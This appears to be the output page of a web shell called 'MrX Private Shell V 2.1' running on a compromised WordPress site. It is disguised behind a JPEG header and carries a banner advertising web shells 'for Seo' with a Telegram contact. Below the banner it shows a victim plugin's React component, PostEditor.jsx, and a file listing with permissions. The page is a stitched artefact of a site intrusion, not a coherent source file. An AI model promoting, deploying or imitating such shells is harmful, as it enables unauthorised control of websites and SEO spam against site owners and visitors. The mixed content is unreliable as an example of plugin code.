����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { magic, magicAnimated } from '@agent/icons';
import { useGlobalStore } from '@agent/state/global';
import { Button } from '@wordpress/components';
import { useEffect, useRef, useState } from '@wordpress/element';
import { __ } from '@wordpress/i18n';
import classNames from 'classnames';
export const PostEditor = () => {
const { toggleOpen, open, isMobile } = useGlobalStore();
const [animate, setAnimate] = useState(false);
const [animateIcon, setAnimateIcon] = useState(false);
const pageLoaded = useRef(false);
useEffect(() => {
// Don't run this on the first page load
if (!pageLoaded.current) {
pageLoaded.current = true;
return;
}
if (open || isMobile) return;
setAnimate(true);
setAnimateIcon(true);
const id = setTimeout(() => {
setAnimate(false);
}, 1500);
const iconId = setTimeout(() => {
setAnimateIcon(false);
}, 5000);
return () => {
clearTimeout(id);
clearTimeout(iconId);
};
}, [open, isMobile]);
if (isMobile) return null;
return (
<Button
variant="primary"
icon={animateIcon ? magicAnimated : magic}
iconPosition="left"
className="is-compact has-text relative z-10"
onClick={() => {
if (open) setAnimate(true);
toggleOpen();
}}
aria-label={__('Open Agent', 'extendify-local')}
>
<span
className={classNames('px-1 leading-none', {
'extendify-gradient-animation': animate,
})}
>
{__('AI Agent', 'extendify-local')}
</span>
</Button>
);
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AdminBar.jsx | File | 1.71 KB | 0644 |
|
| Mobile.jsx | File | 1.68 KB | 0644 |
|
| PostEditor.jsx | File | 1.45 KB | 0644 |
|